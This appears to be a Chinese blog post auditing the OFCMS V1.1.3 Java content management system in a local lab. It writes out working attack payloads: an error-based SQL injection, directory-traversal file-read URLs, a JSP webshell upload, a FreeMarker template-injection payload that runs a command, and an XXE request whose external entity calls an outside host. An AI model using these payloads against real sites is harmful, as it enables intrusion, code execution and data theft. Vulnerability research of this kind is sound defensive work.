某內容管理系統最最最詳細的代碼審計

 前言

 剛好遇到一個授權的滲透是通過該cms實現getshell,所以順便審計一下java類的cms,這個管理系統是一個內容管理系統,下載地址

https://gitee.com/oufu/ofcms/tree/V1.1.3/

 tomcat下載地址

https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip

 這裏我選擇8.5.78

 環境搭建

idea
ofcms V1.1.3
tomcat 8.5

 idea直接創建新建項目,自動導入xml文件,配置啓動服務器

image-20220519134352038.png

 導入sql文件

mysql -uroot -pxxxxxxx
use ofcms
source /路徑.ofcms-v1.1.3.sql

image-20220519134404640.png

show tables;

image-20220519134414196.png

 這裏需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題

image-20220519134427060.png

 配置端口

image-20220519134444427.png

 啓動tomgcat的時候會亂碼,修改tomcat的配置文件tomcat->config->logging.properties

 更改所有utf8的格式爲GBK

image-20220519134455701.png

 配置maven,整一個噁心的想吐

<mirror>
    <id>alimaven</id>
    <mirrorOf>central</mirrorOf>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
  </mirror>

image-20220519134509402.png

 重建項目

image-20220519134518686.png

 啓動服務,但是之前需要修改配置文件中的數據庫的連接的字段用戶名和密碼,這裏會報錯,所以修改配置文件直接創建完成了數據庫在上面導入數據庫的時候跳過安裝步驟。

首頁地址: localhost:8099/ofcms_admin

後臺地址:localhost:8099/ofcms_admin/admin/login.html

admin/123456

image-20220519134533344.png

 【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

 審計分析

 SQL注入

 文件結構目錄

image-20220519134543327.png

 因爲已知漏洞都存在於後臺,直接審計後臺文件,首先定位到控制層代碼,

image-20220519134551877.png

 因爲已經不通通過安裝啓動web服務,這裏不需要分析安裝控制層,看首頁

 出於對代碼的尊重,跟了一波增加sql語句的處理,但是存在sql注入的過濾器,

image-20220519134601047.png

 直接觸發增加用戶接口

image-20220519134611181.png

image-20220519134622551.png

 其實可以直接看出來,在第50行的時候已經使用put方法增加了管理員用戶,然後new了一個對象record存放存入的其它參數的數據,再往下的時候根據record的值判斷用戶的類型,向下56行F7跟進,一直跟到類sqlpara的setsql方法進行插入

image-20220519134632162.png

 在這裏的時候插入的是創建時的創建時間等字段,並沒插入我們傳入的詳細信息,但是在類sysusercontroller中的57行中十對創建的用戶sss創建id編號,此時用戶以及數據的插入時在58行執行結束時完成,已經寫進了數據庫。

但是這裏沒有測試存在注入點兒,注入點存在於代碼生成->新增

image-20220519134641396.png

 手動測試有回顯sql=1'

image-20220519134650155.png

 猜測可能存在報錯注入,構造payload

update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2

image-20220519134701204.png

\ofsoft\cms\admin\controller\system\SystemGenerateController.java下斷點分析

image-20220519134710040.png

 47行,F7跟進

image-20220519134718336.png

image-20220519134727761.png

 返回的sql參數的內容未作任何過濾,48行F7跟進

image-20220519134736400.png

 98行跟進update方法

image-20220519134745152.png

 256行直接連接數據庫進行更新,最後拋出異常,報錯回顯出數據庫用戶名root

 存儲型XSS

image-20220519134753681.png

 分析代碼,

 所以這裏出現存儲型XSS的地方不止這一個觸點兒,包括前臺,Ueditor編輯器的原因。

 任意文件讀取

image-20220519134801726.png

 查看文件模板,模板文件連接如下

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/

 可控參數dir,payload如下

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/

image-20220519134811782.png

 控制字段file_name讀取文件

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib

image-20220519134824618.png

 漏洞分析

image-20220519134832366.png

 查看模板文件的時候,傳入的dir參數以及updir的參數都爲空

image-20220519134841018.png

 這裏是對路徑文件類型做判斷,讀取模板文件,所這裏任意文件讀取也只是針對任意模板文件讀取,讀取文件名的控制參數數爲filename

 根據debug分析,當傳入的payload爲

http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../

image-20220519134850480.png

 測試根據斷點看出,我們傳入的參數dir爲../

image-20220519134906797.png

 在65行的時候未對傳入的參數dir做過濾,這個時候已經拿到了模板目錄

image-20220519134917574.png

 讀取通過循環遍歷使用文件名讀取

image-20220519134925815.png

 在調試的時候發現,我們訪問目錄。這裏訪問comn

image-20220519134934205.png

 在控制層TemplateController內調用函數getSiteTemplatePath()

image-20220519134943633.png

 F7跟進,在類file.java中對路徑進行了直接拼接

image-20220519134959288.png

 所以只要調用file函數拼接的參數也必定會產生"任意"文件讀取。那麼所能使用的payload如下

?dir=../
?up_dir=../
#含文件名
?file_name=page.html&up_dir=../comn
?file_name=page.html&dir=../comn

 文件上傳實現webshell

 剛好該類這裏又save方法調用了上面的函數,所以我們可以保證我們上傳文件的路徑是可控的

image-20220519135009522.png

image-20220519135018258.png

 嘗試構造數據包

image-20220519135032254.png

 此時已經成功保存,但是通過文件讀取是讀不到文件的,實際上已經寫進去了,因爲在讀取文件的時候限制了讀取的文件類型,可以嘗試保存一個html

image-20220519135040538.png

 驗證是可以寫入的,那麼直接寫入jsp木馬實現webshell

image-20220519135058995.png

 最後一個斷點執行結束,此時shell已成功寫入

http://localhost:8099/ofcms_admin/static/1.jsp

image-20220519135111187.png

 SSTI模板注入

 同樣在save模板的時候我們分析,在125行的時候傳入file文件以及文件內容

image-20220519135122677.png

 f7跟進函數,發現在類fileutils中的,writestring方法中在78行的時候拿到的string還是我們在前端輸入的內容

image-20220519135133404.png

 繼續F7跟進函數

image-20220519135142608.png

 這裏直接對string進行了編碼

 payload

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

 訪問

http://localhost:8099/ofcms_admin/about.html

image-20220519135152274.png

 所以這裏漏洞的觸發點也很多,html頁面都可以,當然也可以利用上面的文件上傳進行寫入頁面調用也可以觸發。漏洞的觸發原理可參考這個文章

http://t.zoukankan.com/Eleven-Liu-p-12747908.html

 很清晰

 XXE漏洞

 直接分析漏洞代碼下斷點

ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java

 前端功能模塊導出

 定位到控制器處理方法,在 com.ofsoft.cms.admin.controller.ReprotAction類的 expReport 方法中。

image-20220519135213952.png

 使用上文的任意文件讀取,在靜態頁面下放入我們寫入的jrxml文件,文件命名爲xxe.jrxml,構造payload

POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1
Host: localhost:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 394
Origin: http://localhost:8099
Connection: close
Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html
Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE

file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%36%36%2e%31%32%38%3a%38%30%38%31%22%3e%25%78%78%65%3b%20%5d%3e

 文件內容的payload

<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>

image-20220519135228637.png

image-20220519135236920.png

 直接訪問

http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe

image-20220519135250752.png

 漏洞成因是調用了 getParamsMap 方法,獲取用戶提交的所有參數,並將 j 參數賦值給 jrxmlFileName ,服務器接收用戶輸入的 j 參數後,拼接生成文件路徑,可直接穿越其它目錄,但是限制了文件後綴爲 jrxml,所以文件名命名爲jrxml

 先調用getParamsMap 方法

image-20220519135325032.png

 而後調用JasperCompileManager.compileReport() 方法

image-20220519135334814.png

 F7跟進,在 compile方法中調用 JRXmlLoader.load() 方法,F7跟進,在 loadXML 方法中調用了 Digester 類的 parse 解析我們的 XML 文檔對象,默認是沒有禁用外部實體解析,所以xxe文件能執行。

 總結

 拋開白盒審計不說,sql注入實現比較簡單,黑盒狀態下也可知道用戶名實現,跨站類可以通過js類的實現對用戶的上線,高危的文件讀取和webshell以及xxe,總的來說都是在文件讀取目錄遍歷的基礎上實現的,否則對於二次開發的網站拋開任意文件讀取這個漏洞來說是無法實現webshell的。

 更多靶場實驗練習、網安學習資料,請點擊這裏>>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章